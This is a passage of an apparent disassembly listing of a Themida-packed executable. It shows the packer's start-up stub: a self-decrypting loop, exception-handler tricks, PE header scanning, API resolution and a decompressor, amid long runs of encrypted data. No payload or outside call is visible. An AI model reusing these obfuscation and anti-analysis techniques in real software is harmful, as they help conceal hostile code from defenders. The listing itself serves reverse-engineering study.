inc dword ptr [ebp-8] loc_4FE013: ; CODE XREF: Themida_:004FDFA4j cmp dword ptr [ebp-8], 2 jb short loc_4FDFA6 add edx, 4 loc_4FE01C: ; CODE XREF: Themida_:004FDF9Bj cmp edx, [ebp-4] jb loc_4FDF9D mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4FE02F: ; CODE XREF: start+6EE02j mov ecx, 7000h lea edi, [ebp+62237FCh] loc_4FE03A: ; CODE XREF: start+6F02Aj dec byte ptr [edi] inc edi dec ecx jnz short loc_4FE03A mov eax, 48692121h mov edx, 0F008F000h sub edx, 0F0000000h lea eax, [ebp+62238E7h] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax movzx ebx, dx mov bh, 0F2h sub eax, edx add ebx, 7A7407Fh and eax, 0FFFFF000h pusha push esi jmp loc_4FE095 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 7FEE3B8Bh, 26D11511h, 47671FBh, 1D713063h db 34h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4FE095: ; CODE XREF: start+6F06Bj pop edx mov ax, 330Ch popa mov bx, cx mov ecx, edx xor edi, edi loc_4FE0A2: ; CODE XREF: start+6F0A9j cmp word ptr [eax], 5A4Dh jnz short loc_4FE0B7 movzx edx, word ptr [eax+3Ch] add edx, eax cmp dword ptr [edx], 4550h jz short loc_4FE0BF loc_4FE0B7: ; CODE XREF: start+6F093j sub eax, 1000h inc edi jmp short loc_4FE0A2 ; --------------------------------------------------------------------------- loc_4FE0BF: ; CODE XREF: start+6F0A1j pop large dword ptr fs:0 add esp, 4 lea edx, [ebp+62238FAh] push edx push large dword ptr fs:0 mov large fs:0, esp add eax, ecx sub eax, 1000h mov esi, [eax+4] and esi, 0FFFF0000h cmp esi, 80000000h jbe short loc_4FE0F9 mov esi, [eax+1Ch] loc_4FE0F9: ; CODE XREF: start+6F0E0j xor eax, eax loc_4FE0FB: ; CODE XREF: start+6F0FAj cmp eax, 32h jz short loc_4FE11F cmp word ptr [esi], 5A4Dh jz short loc_4FE110 loc_4FE107: ; CODE XREF: start+6F109j sub esi, 10000h inc eax jmp short loc_4FE0FB ; --------------------------------------------------------------------------- loc_4FE110: ; CODE XREF: start+6F0F1j mov edi, [esi+3Ch] add edi, esi cmp dword ptr [edi], 4550h jz short loc_4FE161 jmp short loc_4FE107 ; --------------------------------------------------------------------------- loc_4FE11F: ; CODE XREF: start+6F0EAj pop large dword ptr fs:0 add esp, 4 popa retn ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 51h dd 10244C8Bh, 0B0A981h, 10000000h, 33590000h, 8B51C3C0h dd 5510244Ch, 0E8h, 0ED815D00h, 6223905h, 38C3858Dh, 81890622h dd 0B8h, 0C033595Dh db 0C3h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4FE161: ; CODE XREF: start+6F107j xchg eax, esi pop large dword ptr fs:0 add esp, 4 mov bx, si push 0 push esi call sub_4FE17A and [esi-3Dh], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_4FE17A proc near ; CODE XREF: start+6F15Ep arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_4FE17A endp ; --------------------------------------------------------------------------- dw 64C0h dd 9FBD6CE0h, 0D98C665Ah, 38C0Fh, 0B70F0000h, 4E180D9h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 61C35646h dd 221C35C6h, 80E3FF99h, 0DF8B4DE7h, 850FC90Ah, 4Eh, 85C74EB3h dd 62200F5h, 1, 0E9D88B66h, 9, 0CE9A0DFh, 8B849439h, 3BE993h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 0BFBACFC3h, 88C0Fh, 0F570000h, 84h, 85C75B00h dd 62200F5h, 0 dd 859280BBh, 0A9858949h, 0B7062233h, 498589EAh, 0E8062226h dd 9, 95FDA398h, 2DC8BCE6h, 0BE59F90Bh, 7FCC1F08h, 7455C181h dd 0F600000h, 0D80h, 7E800h, 0C57F0000h, 60CB0C33h, 0BA615BBAh dd 6589AEB6h, 6E2CC281h, 8E99A76h, 0C3000000h, 0F45A2F0Ah dd 8B89C24Ah, 8B666019h, 67DB80C7h, 49C38161h, 6066F623h dd 2810Fh, 61600000h, 0BE8h, 0AEE8C00h, 45AC2F6Ch, 161E21D0h dd 7E9h, 0BFDF9900h, 5C7D7271h, 0F381615Fh, 23661367h dd 1B850Fh, 12E80000h, 0D8000000h, 1C5E4E4Ah, 0CB78311Dh dd 7CFDC8ECh, 0B2FA50C1h, 0F28B669Fh, 1DC3815Fh, 0BF730D13h dd 29603B6Fh, 0FB8B6653h, 0C68B018Fh, 8A2BE981h, 5FBF331Ah dd 815400B1h, 1A8A27C1h, 1EA8133h, 0F000000h, 0FFFF7285h dd 1504EBFFh, 0E9000002h, 808h, 14E9h, 4E26AA00h, 1AD47E82h dd 88A9D14h, 0D935C571h, 28C85101h, 0B8FC604Bh, 0 dd 14E9h, 0C512B200h, 50517968h, 60E088EAh, 2A49979h, 4107479Eh dd 548BF898h, 840F2824h, 17h, 12E9h, 932C200h, 32FC3777h dd 2D276873h, 1BEE5FE0h, 893751D6h, 222C7585h, 0B70F6006h dd 19B7BAD2h, 0BE6110ECh, 3Ch, 0AE9h, 2ED32500h, 0E35307B9h dd 894F3E27h, 22067D95h, 24740306h, 95953124h, 66062221h dd 0F5660ADh, 84h, 13E85B00h, 0BB000000h, 0BD41D2F0h, 6E54E442h dd 0AFBA5F4Ch, 0E14FE3BBh, 0BD899116h, 6223559h, 4403615Eh dd 0BD892424h, 6223185h, 12B26050h, 0EE8h, 2DBA9500h, 0F14B1A75h dd 0AADC6310h, 0FFDDB65h, 8Dh, 89615E00h, 860F2404h, 6 dd 0ECDBD89h, 408B0622h, 8E978h, 99060000h, 98EB699Bh dd 9D31AA00h, 6221A61h, 28244403h, 2125B509h, 408B0622h dd 58D8918h, 40062230h, 8E9h, 219A100h, 3D88CD41h, 0CF8589F1h dd 0F06223Ah, 683h, 29B53100h, 5806221Ah, 0FE9h, 91715C00h dd 0F5395FA1h, 0CA082D5Fh, 0F31D56ACh, 0F578708Bh, 601CC683h dd 68D0Fh, 852B0000h, 622260Dh, 70EFCA81h, 36163A8h, 0F8242474h dd 6A1BD8Dh, 12E90622h, 0A4000000h, 99597F66h, 0AEEC11C4h dd 9FFE7193h, 0D2D08095h, 9D236061h, 62214DDh, 481A40BAh dd 0E9AD610Dh, 0Bh, 8AD06816h, 0C5615E6Dh, 344C325h, 0E9242444h dd 5, 7B45196Ah, 0B501AB78h, 62233FDh, 1D1BD8Dh, 13E90622h dd 2B000000h, 1AE22958h, 938873D2h, 0DEA94DABh, 7C077CDBh dd 0FAD6BB3h, 128Fh, 5E96000h, 12000000h, 0B60C2ABh, 21FD958Bh dd 3610622h, 0F5242444h, 0C830F90h, 0F000000h, 68Ah, 890F00h dd 50000000h, 35830Fh, 0E9600000h, 14h, 8BC9A41Eh, 0D15D0D26h dd 0A404B13Eh, 33E2184Fh, 7B092EA3h, 14E8h, 3D59AB00h dd 0A469AAD8h, 0D7E55712h, 334BEC5Ch, 0B958DBBAh, 90615E79h dd 0B18D89h, 60AB0622h, 2D158D89h, 0EE90622h, 1A000000h dd 7A02A887h, 0E039009Dh, 0D8C861EBh, 0BD8D614Fh, 6221FB1h dd 9E9h, 0FC9DBE00h, 0C271AF50h, 89ADE85Eh, 2220D195h dd 4403F506h, 66602824h, 61C589BAh, 18E0FABh, 0F8000000h dd 0FD85095Eh, 0E9062234h, 0Ch, 0D503EAEDh, 0CA603BB5h dd 3FC5C3B4h, 3ACF8DFFh, 0BD830622h, 6223ACFh, 0C7107500h dd 1C2444h, 8D000000h, 224027B5h, 56E6FF06h, 244403ADh dd 0DF8B9728h, 3309858Ah, 0C0840622h, 73A0474h, 32574C75h dd 0FD75AEC0h, 52FB2B5Eh, 49C933FCh, 0C033D18Bh, 32ACDB33h dd 8ACD8AC1h, 0B6D68AEAh, 0EBD16608h, 73D8D166h, 41356609h dd 0F3816650h, 0CEFE5449h, 0C833EB75h, 754FD333h, 0F7D2F7D5h dd 0C1C28BD1h, 8B6610C0h, 0D03B5AC1h, 835E0F74h, 85FF04C6h dd 6222C75h, 0FFFF6FE9h, 0E9F85EFFh, 6, 6711C11Fh, 9E981D5h dd 0A5000000h, 82102AAEh, 9F3672A0h, 2C75858Bh, 9D890622h dd 62232E9h, 8D01E0D1h, 6221E95h, 1FB18503h, 7E90622h dd 8000000h, 751E1ED9h, 0BE434Dh, 29000000h, 2220E585h dd 60609606h, 33819529h, 9E90622h, 33000000h, 4309C6ADh dd 0F01DD51Bh, 0CF4AB861h, 66613C70h, 5E9ADh, 344E0000h dd 0C1655194h, 830F02E0h, 0Eh, 9E9h, 0E7604E00h, 75612EEBh dd 850381C6h, 62206A1h, 267D8589h, 9D890622h, 6222825h dd 98D0F96h, 60000000h, 8DDBBA66h, 6103D580h, 0C59501ADh dd 8B062234h, 2924244Ch, 220691BDh, 24440306h, 95B58924h dd 8906221Eh, 0F1C2444h, 1683h, 11E900h, 0EA480000h, 52232D50h dd 0A379514h, 0BEEE180Bh, 8950CC87h, 2206F9BDh, 0F609606h dd 0D081D2B7h, 0C0E8467h, 32F8AC61h, 0CE9C9h, 0E7DB0000h dd 85BF937Ch, 0DB989C6Ah, 0C1FE2466h, 11E9h, 71128600h dd 112B5DCFh, 6A935929h, 60D05E3Ah, 0D0D05509h, 0D9830Fh dd 9D090000h, 6222829h, 830FD0D0h, 0CBh, 11E9h, 722D7900h dd 8F413401h, 27D83014h, 4E04335Dh, 0BD29E4B0h, 6221F4Dh dd 820FD0D0h, 0A7h, 0FD0D0F8h, 9E82h, 0DE900h, 0D4B70000h dd 87C9F86Dh, 0FC9A7F91h, 0FEFEAA87h, 0A3890FC9h, 9FFFFFFh dd 221F8985h, 20C48306h, 2444C7F8h, 0FCh, 0B5096000h, 6221485h dd 0E2816660h, 9529201Dh, 6221EBDh, 1B86161h, 60000000h dd 158C0Fh, 0FE80000h, 0FD000000h, 0EB33186h, 391589CEh dd 87C41763h, 0E85F71A2h, 0Bh, 0EC083FBEh, 0E48F91F7h dd 0BACADC83h, 31BA0002h, 8D8D615Fh, 62276A4h, 7E9h, 0D3B71D00h dd 5D3EC5E0h, 0CE9E1FFh, 1B000000h, 0C0897329h, 179FB02Fh dd 0C6C21660h, 22330985h, 89FC0006h, 2212B1B5h, 0F606106h dd 158Ah, 0FE800h, 4680000h, 5620E86Dh, 0DF80AAE9h, 818CFF9Ch dd 0BD335AD8h, 62221C5h, 1D9D8961h, 0C2062222h, 0F600008h dd 685h, 0A18D3100h, 9062229h, 2205FD9Dh, 0E9966106h, 6 dd 96FDAAA4h, 505092CBh, 6810F52h, 50000000h, 5A310F52h dd 50310F58h, 0F525052h, 0F585A31h, 5A616031h, 96585A58h dd 48BF6060h, 89760672h, 2215C985h, 51B86106h, 612F9A70h dd 615CB060h, 42A8B589h, 8E0F0622h, 8, 28B0Fh, 61600000h dd 42C68D89h, 8DF90622h, 22413FB5h, 0EE906h, 91870000h dd 87FC9A7Fh, 8002FEAAh, 7F02F7C7h, 0FDBD3360h, 0F062206h dd 8D61DFBFh, 5B8EA185h, 15958900h, 0FF062220h, 15830FD0h dd 0E9000000h, 10h, 75E06334h, 0DA76AFFFh, 0AC3406D4h dd 0B160B98h, 491B531h, 895E0622h, 2218A9BDh, 3160C306h dd 2210118Dh, 0B91DBF06h, 8B6113D9h, 2242A8B5h, 0DE906h dd 0B8E0000h, 0ADDF577Ch, 0C67FEDFAh, 29279D4Bh, 2202D985h dd 0C68D8B06h, 0F062242h, 682h, 0C1958900h, 2B06222Ah dd 9E9C0h, 191D0000h, 10E20F96h, 29DF9E0Ah, 22068585h dd 60D98B06h, 5ADB501h, 0EE80622h, 0D1000000h, 9015F632h dd 87101576h, 0A502D5FEh, 0B2D8818Ch, 5E0E2FD6h, 0BFE961h dd 9D890000h, 6221381h, 0AE9h, 0C1BAF100h, 5BA420E6h, 3276CC2Dh dd 0A5858926h, 0B2062233h, 10E9F902h, 0C0000000h, 0B1B52BD1h dd 0DF749EF1h, 0A67011E0h, 0E94AB55Ah, 5Bh, 2498D89h, 8A0F0622h dd 6, 14998D09h, 0C2320622h, 42D8D89h, 7A050622h, 0E98A751Dh dd 10h, 0EE6F0FD9h, 0ADA3482Bh, 9BDA77B6h, 0F5C8F450h dd 8D01CC8Ah, 622000Dh, 6060C8D3h, 850FF88Bh, 0 dd 5BF85361h, 8423561h, 0FEF998D1h, 858D89CAh, 0A06220Fh dd 0AF850FD2h, 60FFFFFFh, 14F59D89h, 8C0F0622h, 6, 32A98D8Bh dd 4B610622h, 310D9D29h, 29460622h, 22102195h, 0FDB0B06h dd 0FFFF4E85h, 0DDBD01FFh, 6006220Fh, 43AC17B8h, 14E928h dd 900000h, 8D4B5672h, 0B9EDE4E1h, 46431E84h, 0FC70800h dd 0CF61DD8Dh, 6820Fh, 0BD010000h, 6221355h, 89600000h dd 221C9185h, 75858906h, 6106221Ch, 880F0000h, 6, 60616060h dd 6161h, 0E90000FCh, 10h, 9FEF4FB1h, 46CF145Ch, 0D3F0A2D4h dd 8B3AB9CBh, 3AF1858Dh, 800F0622h, 6, 2C818501h, 85890622h dd 6221A69h, 76858DF9h, 0F062240h, 0A82h, 61606000h, 12698D23h dd 89610622h, 22140585h, 10E806h, 0F2DC0000h, 0DB8F6EE9h dd 292981DFh, 6FA8AA41h, 0BD29CDA1h, 62226ADh, 7E95Fh dd 9D410000h, 9E127515h, 7FC78157h, 0BA000071h, 332883D3h dd 1C33B9h, 15B86600h, 80378B44h, 0C68186CBh, 215331CEh dd 1DE99D8Bh, 0C6810622h, 0FAD36D5h, 8172F780h, 6F4AD2F6h dd 56D88B54h, 29958B56h, 5B062206h, 14E8078Fh, 9E000000h dd 6C24544Ah, 7292B881h, 88923EC0h, 0D8AA9138h, 0BB07CB41h dd 11703703h, 3EF835Bh, 6830Fh, 858B0000h, 6220931h, 0ED958B4Fh dd 49062214h, 0FF97850Fh, 12E9FFFFh, 1D000000h, 8DCD04C8h dd 0F57B20A3h, 9DFABD69h, 0C1470880h, 14EBE9h, 3 dup(0) dd 88000000h, 8D000000h, 22449585h, 41858906h, 8306220Eh dd 2243DFBDh, 840F0006h, 119h, 330985C6h, 68560622h, 0B0F9C273h dd 4A243481h, 0FF64E6AFh, 2233A9B5h, 0F1858D06h, 0FF06223Ah dd 0D38589D0h, 0C6062243h, 22330985h, 8D685606h, 818FF22Ah dd 92DF2434h, 0B5FF135Ah, 62233A9h, 3AF1858Dh, 0D0FF0622h dd 43D78589h, 46A0622h, 70FDC168h, 24348167h, 6770EDC1h dd 43E3858Bh, 0F4050622h, 0C1000001h, 509002E0h, 0FF006A90h dd 2243D795h, 0DB858906h, 8B062243h, 0FFFFB8D8h, 95FFFFFFh dd 6220E41h, 95FFC38Bh, 6220E41h, 84E9h, 0DFBD8300h, 62243h dd 1850Fh, 57C30000h, 43DBBD8Bh, 83AB0622h, 2243DB85h dd 0C35F0406h, 43DFBD83h, 0F000622h, 185h, 8360C300h, 2243DBADh dd 9D8B0406h, 62243DBh, 0FFFC7B83h, 1D850Fh, 70680000h dd 817399AEh, 2E702434h, 6A7399h, 95FF33FFh, 62243D3h dd 1DE9C361h, 68000000h, 0A4046640h, 0C0240481h, 6A5BFC19h dd 0FF33FF00h, 2243D395h, 0DBAD8306h, 4062243h, 0FFFFB1E9h dd 0ADE948FFh, 60000001h, 2424748Bh, 28247C8Bh, 8A80B2FCh dd 7884606h, 2BB47h, 0D2020000h, 5850Fh, 168A0000h, 0FD21246h dd 0FFFFE283h, 0FD202FFh, 585h, 46168A00h, 830FD212h, 6Ah dd 0D202C033h, 5850Fh, 168A0000h, 0FD21246h, 12A83h, 0FD20200h dd 585h, 46168A00h, 0C013D212h, 850FD202h, 5, 1246168Ah dd 2C013D2h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C013h dd 5850Fh, 168A0000h, 13D21246h, 6840FC0h, 57000000h, 78AF82Bh dd 4707885Fh, 2BBh, 0FF70E900h, 1B8FFFFh, 2000000h, 5850FD2h dd 8A000000h, 0D2124616h, 0D202C013h, 5850Fh, 168A0000h dd 0FD21246h, 0FFFFDE82h, 0BBC32BFFh, 1, 34850Fh, 1B90000h dd 2000000h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h dd 5850Fh, 168A0000h, 0FD21246h, 0FFFFDE82h, 0F78B56FFh dd 0A4F3F52Bh, 0FF08E95Eh, 0C148FFFFh, 68A08E0h, 0B9E88B46h dd 1, 850FD202h, 5, 1246168Ah, 2C913D2h, 5850FD2h, 8A000000h dd 0D2124616h, 0FFDE820Fh, 3DFFFFh, 0F00007Dh, 2283h, 5003D00h dd 820F0000h, 0Eh, 0F78B5641h, 0A4F3F02Bh, 0FEB4E95Eh dd 0F883FFFFh, 3870F7Fh, 83000000h, 8B5602C1h, 0F3F02BF7h dd 9BE95EA4h, 8AFFFFFEh, 0C9334606h, 0F01E8C0h, 1784h dd 2D18300h, 8B56E88Bh, 0F3F02BF7h, 1BB5EA4h, 0E9000000h dd 0FFFFFE76h, 28247C2Bh, 1C247C89h, 8C261h, 929BAh, 9D3E900h dd 86BD0000h, 0BEDD15C3h, 989C909Bh, 0FE575F8Ch, 1C91C7BCh dd 1EFF059h, 62626C5Ch, 1E95B3A3h, 0A0E07556h, 0FCD618C3h dd 8F8E9897h, 0EC460CDEh, 579E82BBh, 0B9F9336h, 637F7856h dd 1E95E1AFh, 0A3EF7354h, 0FCCC18C3h, 90948588h, 0F25A12DEh dd 598A95A0h, 47ABF05Dh, 727F7C41h, 5094B3E2h, 0B5FB7341h dd 0B3CA01C3h, 909A8589h, 0D0h, 62h dup(0) dd 86BD0000h, 0B2D71CC3h, 8F948387h, 0F04D0FDEh, 149295A8h dd 14AEF61Ch, 63697B13h, 1F86E1EDh, 0E7EA724Dh, 0B2D60491h dd 0DD9C9987h, 0E61F1197h, 598192A0h, 13BCE74Fh, 0C227456h dd 158C918Eh, 0EBEB6F59h, 0B0D604C3h, 0DD9F9681h, 0F91F0B97h dd 599E88BDh, 8A2FB51h, 672C6041h, 2C0A5EDh, 0A6FA6F5Dh dd 0A5980591h, 0DD898281h, 0F8500D8Eh, 579E86BDh, 48h dup(0) dd 86BD0000h, 0BDCA12C3h, 8F9E9C8Dh, 0EB1F0CD9h, 599F88A0h dd 47BCFF54h, 68697C51h, 58FA7A3h, 0B5AE7856h, 0B5D61F96h dd 94DB9080h, 0F0465F90h, 0AD395BAh, 2BBED45h, 0B06375Eh dd 1185ADD3h, 0E7A2794Bh, 0B3D41F96h, 94DB938Fh, 0ED595F8Ah dd 14D38AA0h, 15A0F359h, 686D394Ah, 1592E1E7h, 0B5EF684Bh dd 0B3C15197h, 8DDB859Bh, 0ED58108Ch, 0DD8AAEh, 61h dup(0) dd 81BD0000h, 0FCDD1D8Ah, 8F89988Dh, 0FA4B0F8Bh, 59DDC6ABh dd 14A6F668h, 697E6913h, 1D81B3E4h, 0B4EF7418h, 0B9DD13C3h dd 9C96D780h, 0EA4F1690h, 1C8786A3h, 9AEBE58h, 67613957h dd 7A85A3FAh, 0E0FA7535h, 0B2D15190h, 89989288h, 0FD1F1B9Bh dd 5992C7B6h, 12BDF76Ah, 74633940h, 1192A2A3h, 0A3EB775Bh dd 0B4EC51CDh, 9BDB8487h, 0BF5A1397h, 5E9D88B8h, 8B8BE48h dd 672C7241h, 1F8DB8EDh, 0A0794Ah, 0E0h dup(0) dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0) aExitStatusD db 'Exit Status = %d',0 align 4 dd 0 dd 2F4EE900h, 0BF0F0000h, 6AFCD6h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 601A46C3h, 2830Fh, 5A510000h dd 20619589h, 8B610622h, 599D8BC0h, 8306221Ah, 2208DDBDh dd 9750006h, 0A21BD83h, 74000622h, 8B535013h, 1B8C0h, 9D8D0000h dd 624BE6Bh, 585BD3FFh, 0A21BD83h, 74000622h, 0B8535011h dd 1, 0BD1C9D8Dh, 0D3FF0624h, 9589585Bh, 622003Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 9BC35747h, 0A1459FEEh dd 4647A7CBh, 0E281D88Bh, 6CA45296h, 0B060C08Bh, 18E0F90h dd 0FC000000h, 62BB6661h, 0F1BD8390h, 6221Eh, 1B1840Fh dd 958B0000h, 62206C5h, 1C6DBD83h, 0F000622h, 19E84h, 0E99D8B00h dd 6006222Ch, 0DE9h, 83524000h, 462EB6F2h, 3F27CA05h, 858B53BBh dd 6221C6Dh, 32F59D8Bh, 0E8050622h, 31000003h, 22221DB5h dd 16BB9006h, 50406D36h, 535B5260h, 6690615Eh, 8D1DCBBBh dd 22509085h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 5E2743F5h, 0E64A60BBh, 148E0F50h dd 0F000000h, 0E8Fh, 9E900h, 0A30D0000h, 0AB588DA0h, 894BA450h dd 0BE92404h, 52000000h, 0EE943B79h, 73C67742h, 858D143Ch dd 622506Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 0C0C35545h, 2052B746h, 6800Fh, 958B0000h, 6221509h dd 10D284BAh, 0AFB35002h, 6A240489h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 77E6C355h dd 1D814B0Ah, 0FFA98004h, 22070195h, 0C483FC06h, 8D9D890Ch dd 8D062210h, 22506E85h, 0DE806h, 24620000h, 0F0421122h dd 0B378C933h, 31D32B87h, 22070D85h, 0B6505A06h, 240489DAh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 55C35646h dd 7E2FAE50h, 950957FFh, 62231B1h, 6A026A5Bh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 0E96FC351h, 8E960C1h, 0B1000000h, 96F2A397h, 8BDFA3B2h dd 2208FD9Dh, 95FF6106h, 6AED14h, 2921958Bh, 66610622h dd 0C77DABBAh, 2250A185h, 106h, 7E900h, 8C670000h, 9CEDD909h dd 0E8609665h, 0Eh, 0BC11F4F7h, 6864C8FDh, 0B20230FEh dd 8B663677h, 50615BCEh, 17BA6657h, 0F965BDBh, 686h, 0D1958B00h dd 89062204h, 225052B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 40FE822h, 0F9A3B4EAh dd 83D1BF0Fh, 2200F5BDh, 850F0106h, 8Eh, 6890Fh, 0BD290000h dd 62215C9h, 83DEB70Fh, 850F05F8h, 76h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Ah, 0A9C35646h, 860FFA17h dd 9D2355B3h, 6223159h, 8ADB501h, 0B80622h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 0D0F9C355h, 8BF330F5h, 22356D95h, 178B0F06h dd 0E9000000h, 12h, 6D8D9DAh, 6FF40570h, 738149FDh, 4D5212E1h dd 0BD83946Ah, 6223341h, 54840F00h, 56000000h, 6840Fh dd 0B5890000h, 6220F71h, 0F381605Bh, 4D53D248h, 334195FFh dd 958B0622h, 6221D11h, 56006A61h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 0B5B131F4h, 39D1DE7Fh dd 8E94D67h, 14000000h, 27192C24h, 837C97C4h, 220251BDh dd 840F0006h, 37h, 78D0Fh, 0BB500000h, 6F7A86D8h, 399D035Bh dd 0B8062214h, 0 dd 21A99D09h, 0DE80622h, 6B000000h, 6020C2EBh, 2E0DB1B9h dd 0D60DE9D3h, 33B9952Bh, 605B0622h, 0F9D8589h, 11BB0622h dd 8B55F4ABh, 2200E185h, 0D78B6606h, 8B02C083h, 2200C595h dd 4A858906h, 6A062250h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 2BCAC356h, 6258DE94h dd 0A1B71DA4h, 6AFF00C6h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 924CC353h, 0BA28011Eh dd 85C6CB42h, 6223309h, 0ADBD8953h, 6806220Ah, 0A4C76E33h dd 7B5903BBh, 24348141h, 587626EBh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 0A3C35747h, 81C87E0Eh, 25A90EDAh dd 49B5FF4Ah, 89062226h, 220ED5BDh, 0AE806h, 72890000h dd 9DA01365h, 790434BEh, 0CE9h, 70271500h, 508A35FCh, 0B9AA088Dh dd 858D5B3Bh, 6257DBEh, 7E8h, 7D1BEB00h, 17FD050Bh, 193D952Bh dd 0FF5A0622h, 55006AD0h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 5850F27h, 0BA000000h dd 5B2F409Eh, 0E3BBBB66h, 30758589h, 6A0622h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0BD8907C3h dd 6220881h, 15C5BD83h, 0F010622h, 10485h, 0DD952900h dd 0F506221Dh, 56006A61h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 0E4D0C23Bh, 0AA2B60A2h dd 85C6757Ah, 6223309h, 8B666045h, 0DE9D9h, 8FC70000h dd 354D7FBAh, 96BC9451h, 61BD5B94h, 2EF80A68h, 81D38BD5h dd 40B82404h, 958B0531h, 6221AF9h, 2649B5FFh, 0E8600622h dd 0Ah, 283B3DBAh, 7405F024h, 8D895B5Ch, 6220B0Dh, 858D615Ah dd 6257DBEh, 9B93BB60h, 0FF6176A1h, 51006AD0h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0CDB06DFCh dd 0AA270F81h, 9DB5319Eh, 0E8062218h, 0Ch, 0A3A92866h dd 0D824101Ch, 0AF8279EBh, 28658D29h, 6A5A0622h, 0FFD38B00h dd 50006AD0h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 0FE906h, 0FCBC0000h, 0F86B0741h, 71863D27h dd 39B7531Bh, 5BD83DDh, 1062208h, 122850Fh, 11E80000h dd 0F5000000h, 6CF2B1E4h, 0ED8028B7h, 6492C2DDh, 0B12B3DAAh dd 6E9h, 2811600h, 5A091F99h, 858BD38Bh, 62200E1h, 0EA9B509h dd 0BBE90622h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 876AC352h, 0C82303F8h dd 359D89DAh, 90062218h, 9FB86660h, 12E93Ch, 0C13F0000h dd 0DFFBF431h, 11187461h, 0FAF3CED8h, 574C66F3h, 13E95061h dd 0EB000000h, 3F2EE1B7h, 0DBB27E38h, 0EF9BE7D0h, 3D4E3B2Bh dd 0E990BEE7h, 0Bh, 0C53CD26Dh, 0C0A5CE12h, 6A6DCA2Bh dd 53006A14h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 95FFFC45h, 6223075h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 59C35343h, 58E58CA3h, 1051BD89h dd 38800622h, 64850F00h, 0E8FFFFFFh, 0Ch, 1CA08C70h, 0A9B294BFh dd 467967B5h, 79958B60h, 89062220h, 2235098Dh, 0C65B6106h dd 0C2810100h, 4B5F1E35h, 0DA816661h, 0BD8317BCh, 6222835h dd 4F840F00h, 8B000000h, 221B219Dh, 29FF6A06h, 2233A5B5h dd 7595FF06h, 6A062230h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 700DC351h, 0BE9h, 0CA38BB00h dd 296DD7FCh, 0BD6AECEDh, 0E9E1D280h, 0FFFFFFBDh, 3F9958Bh dd 85C70622h, 6222835h, 1, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 2CC35747h, 14C9958Bh, 9D8B0622h, 62209FDh dd 50568589h, 95890622h, 62231F1h, 86BA5290h, 5A4DE170h dd 0D68B6650h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 227E28A5h, 0F8116333h dd 8B60DC8Ah, 2213799Dh, 0F056A06h, 48Bh, 5BB6600h, 6E858D2Fh dd 81062250h, 11025EEAh, 6060902Ch, 0AE85E51h, 0A7000000h dd 0FEEAF651h, 0FF7DE742h, 61615EE7h, 0F6B26050h, 61CA8B66h dd 5E858D90h, 0F062250h, 0E80h, 0BD8B6000h, 6221631h, 0E048C781h dd 906130BFh, 0F31BA52h, 505A7AC6h, 5E9h, 4E378900h, 6A9032C1h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 1B0DC355h, 0B5B5890Fh, 0FF062214h, 22011195h dd 0A8C0F06h, 0E9000000h, 5, 65C611BEh, 798D8D2Fh, 2306227Fh dd 22080995h, 74C00B06h, 6E858D11h, 50062250h, 8589D1FFh dd 622508Ch, 85C70AEBh, 622508Ch, 0FFFFFFFFh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 3DC35141h, 6B2F4154h dd 9D016060h, 6221A0Dh, 9D8961F8h, 622204Dh, 56006A61h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0B4E4A280h, 85C6EEB6h, 6223309h, 